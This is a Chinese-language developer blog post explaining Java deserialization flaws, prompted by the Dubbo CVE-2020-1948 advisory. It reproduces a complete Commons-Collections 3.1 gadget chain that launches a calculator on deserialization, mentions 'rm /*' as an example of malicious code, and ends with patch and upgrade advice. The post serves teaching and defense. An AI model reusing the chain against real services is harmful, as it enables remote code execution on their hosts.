:stuck_out_tongue_closed_eyes:

前言

這周收到外部合作同事推送的一篇文章, 【漏洞通告】Apache Dubbo Provider默認反序列化遠程代碼執行漏洞(CVE-2020-1948)通告

按照文章披露的漏洞影響範圍,可以說是當前所有的 Dubbo 的版本都有這個問題。

無獨有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當前項目存在安全漏洞CVE-2018-10237。

可以看到這兩個漏洞都是利用反序列化進行執行惡意代碼,可能很多同學跟我當初一樣,看到這個一臉懵逼。好端端的反序列化,怎麼就能被惡意利用,用來執行的惡意代碼?

這篇文章我們就來聊聊反序列化漏洞,瞭解一下黑客是如何利用這個漏洞進行攻擊。

反序列化漏洞

在瞭解反序列化漏洞之前,首先我們學習一下兩個基礎知識。

Java 運行外部命令

Java 中有一個類 Runtime ,我們可以使用這個類執行執行一些外部命令。

下面例子中我們使用 Runtime 運行打開系統的計算器軟件。

// 僅適用macos 
Runtime.getRuntime().exec("open -a Calculator ");

有了這個類,惡意代碼就可以執行外部命令,比如執行一把 rm /*

序列化/反序列化

如果經常使用 Dubbo,Java 序列化與反序列化應該不會陌生。

一個類通過實現 Serializable 接口,我們就可以將其序列化成二進制數據,進而存儲在文件中,或者使用網絡傳輸。

其他程序可以通過網絡接收,或者讀取文件的方式,讀取序列化的數據,然後對其進行反序列化,從而反向得到相應的類的實例。

下面的例子我們將 App 的對象進行序列化,然後將數據保存到的文件中。後續再從文件中讀取序列化數據,對其進行反序列化得到  App 類的對象實例。

public class App implements Serializable {

private String name;

private static final long serialVersionUID = 7683681352462061434L;


private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "程序通事";

FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法將Unsafe對象寫入object文件
os.writeObject(app);
os.close();
//從文件中反序列化obj對象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復對象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}

執行結果:

readObject name is 程序通事
main name is 程序通事

並且成功打開了計算器程序。

當我們調用 ObjectInputStream#readObject 讀取反序列化的數據,如果對象內實現了  readObject 方法,這個方法將會被調用。

源碼如下:

反序列化漏洞執行條件

上面的例子中,我們在 readObject 方法內主動使用 Runtime 執行外部命令。但是正常的情況下,我們肯定不會在  readObject 寫上述代碼,除非是內鬼 ̄□ ̄||

如果可以找到一個對象,他的 readObject 方法可以執行任意代碼,那麼在反序列過程也會執行對應的代碼。我們只要將滿足上述條件的對象序列化之後發送給先相應 Java 程序,Java 程序讀取之後,進行反序列化,就會執行指定的代碼。

爲了使反序列化漏洞成功執行需要滿足以下條件:

  1. Java 反序列化應用中需要 存在序列化使用的類 ,不然反序列化時將會拋出   ClassNotFoundException 異常。
  2. Java 反序列化對象的  readObject 方法可以執行任何代碼,沒有任何驗證或者限制。

引用一段網上的反序列化攻擊流程,來源: https://xz.aliyun.com/t/7031

  1. 客戶端構造payload(有效載荷),並進行一層層的封裝,完成最後的exp(exploit-利用代碼)

  2. exp發送到服務端,進入一個服務端自主複寫(也可能是也有組件複寫)的readobject函數,它會反序列化恢復我們構造的exp去形成一個惡意的數據格式exp_1(剝去第一層)

  3. 這個惡意數據exp_1在接下來的處理流程(可能是在自主複寫的readobject中、也可能是在外面的邏輯中),會執行一個exp_1這個惡意數據類的一個方法,在方法中會根據exp_1的內容進行函處理,從而一層層地剝去(或者說變形、解析)我們exp_1變成exp_2、exp_3......

  4. 最後在一個可執行任意命令的函數中執行最後的payload,完成遠程代碼執行。

Common-Collections

下面我們以 Common-Collections 的存在反序列化漏洞爲例,來複現反序列化攻擊流程。

首先我們在應用內引入 Common-Collections 依賴,這裏需要注意,我們需要引入  3.2.2 版本之前,之後的版本這個漏洞已經被修復。

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

PS:下面的代碼只有在 JDK7 環境下執行才能復現這個問題。

首先我們需要明確,我們做一系列目的就是爲了讓應用程序成功執行 Runtime.getRuntime().exec("open -a Calculator")

當然我們沒辦法讓程序直接運行上述語句,我們需要藉助其他類,間接執行。

Common-Collections 存在一個  Transformer ,可以將一個對象類型轉爲另一個對象類型,相當於  Java Stream 中的  map 函數。

Transformer 有幾個實現類:

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

其中 ConstantTransformer 用於將對象轉爲一個常量值,例如:

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("樓下小黑哥");
// 輸出對象爲 程序通事
System.out.println(transform);

InvokerTransformer 將會使用反射機制執行指定方法,例如:

Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"樓下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射執行了 input.append("樓下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-樓下小黑哥
System.out.println(transform);

ChainedTransformer 需要傳入一個  Transformer[] 數組對象,使用責任鏈模式執行的內部  Transformer ,例如:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意對象值");

通過 ChainedTransformer 鏈式執行  ConstantTransformerInvokerTransformer 邏輯,最後我們成功的運行的  Runtime 語句。

不過上述的代碼存在一些問題, Runtime 沒有繼承  Serializable 接口,我們無法將其進行序列化。

如果對其進行序列化程序將會拋出異常:

image-20200705123341395

我們需要改造以上代碼,使用 Runtime.class 經過一系列的反射執行:

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};

剛接觸這塊的同學的應該已經看暈了吧,沒關係,我將上面的代碼翻譯一下正常的反射代碼一下:

((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");

TransformedMap

接下來我們需要找到相關類,可以自動調用 Transformer 內部方法。

Common-Collections 內有兩個類將會調用  Transformer

  • TransformedMap
  • LazyMap

下面將會主要介紹 TransformedMap 觸發方式, LazyMap 觸發方式比較類似,感興趣的同學可以研究這個開源庫@ysoserial  CommonsCollections1

Github 地址: https://github.com/frohoff/ysoserial

TransformedMap 可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的  Transformer 進行轉換。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會觸發 Transformer 內部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);

輸出結果爲:

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中我們知道了,只要調用 TransformedMap 的  put 方法,或者調用  Map.Entry 的  setValue 方法就可以觸發我們設置的  ChainedTransformer ,從而觸發  Runtime 執行外部命令。

現在我們就需要找到一個可序列化的類,這個類 正好 實現了  readObject ,且 正好 可以調用 Map  put 的方法或者調用  Map.Entry 的  setValue

Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler ,正好滿足上述的條件。這個類構造函數可以設置一個  Map 變量,這下剛好可以把上面的  TransformedMap 設置進去。

不過不要高興的太早,這個類沒有 public 修飾符,默認只有同一個包纔可以使用。

不過這點難度,跟上面一比,還真是輕鬆,我們可以通過反射獲取從而獲取這個類的實例。

示例代碼如下:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代碼如下 :

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);

Map<String, String> tempMap = new HashMap<>();
// tempMap 不能爲空
tempMap.put("value", "you");

Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);



Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);


File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 觸發代碼執行
Object newObj = ois.readObject();
ois.close();

上面代碼中需要注意, tempMap 需要一定不能爲空,且  key 一定要是  value 。那可能有的同學爲什麼一定要這樣設置?

tempMap 不能爲空的原因是因爲  readObject 方法內需要遍歷內部  Map.Entry .

至於第二個問題,別問,問就是玄學 ~好吧,我也沒研究清楚--,有了解的小夥伴的 留言一下

最後總結一下這個反序列化漏洞代碼執行鏈路如下:

Common-Collections 漏洞修復方式

在 JDK 8 中, AnnotationInvocationHandler 移除了  memberValue.setValue 的調用,從而使我們上面構造的  AnnotationInvocationHandler + TransformedMap 失效。

另外 Common-Collections 3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關,默認爲關閉狀態。

比如在 InvokerTransformer 類中重寫  readObject ,增相關判斷。如果沒有開啓不安全的類的序列化則會拋出UnsupportedOperationException異常

Dubbo 反序列化漏洞

Dubbo 反序列化漏洞原理與上面的類似,但是執行的代碼攻擊鏈與上面完全不一樣,這裏就不再復現的詳細的實現的方式,感興趣的可以看下面兩篇文章:

https://blog.csdn.net/caiqiiqi/article/details/106934770

https://www.mail-archive.com/[email protected]/msg06544.html

Dubbo 在 2020-06-22 日發佈 2.7.7 版本,升級內容名其中包括了這個反序列化漏洞的修復。不過從其他人發佈的文章來看,2.7.7 版本的修復方式,只是初步改善了問題,不過並沒有根本上解決的這個問題。

感興趣的同學可以看下這篇文章:

https://www.freebuf.com/mob/vuls/241975.html

防護措施

最後作爲一名普通的開發者來說,我們自己來修復這種漏洞,實在不太現實。

術業有專攻,這種專業的事,我們就交給個高的人來頂。

我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。

其次我們需要了解一些基本的防護措施,做到一些基本的防禦。

如果碰到這類問題,我們及時需要關注官方的新的修復版本,儘早升級,比如 Common-Collections 版本升級。

有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。

如果你目前已經在使用 Dubbo 2.7 版本,那麼升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那麼就麻煩了,沒辦法直接升級。

Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。

就拿我們系統來講,我們目前這套系統,生產還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。

其次,我們目前大部分應用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這麼低。

這部分應用直接升級到 Dubbo 2.7 ,改動其實非常大。另外有些基礎服務,自從第一次部署之後,就再也沒有重新部署過。對於這類應用還需要仔細評估。

最後,我們有些應用,自己實現了 Dubbo SPI,由於 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關包路徑也需要做出一些改動。

所以直接升級到 Dubbo 2.7 版本的,對於一些老系統來講,還真是一件比較麻煩的事。

如果真的需要升級,不建議一次性全部升級,建議採用逐步升級替換的方式,慢慢將整個系統的內 Dubbo 版本的升級。

所以這種情況下,短時間內防禦措施,可參考玄武實驗室給出的方案:

如果當前 Dubbo 部署雲上,那其實比較簡單,可以使用雲廠商的提供的相關流量監控產品,提前一步阻止漏洞的利用。

相關文章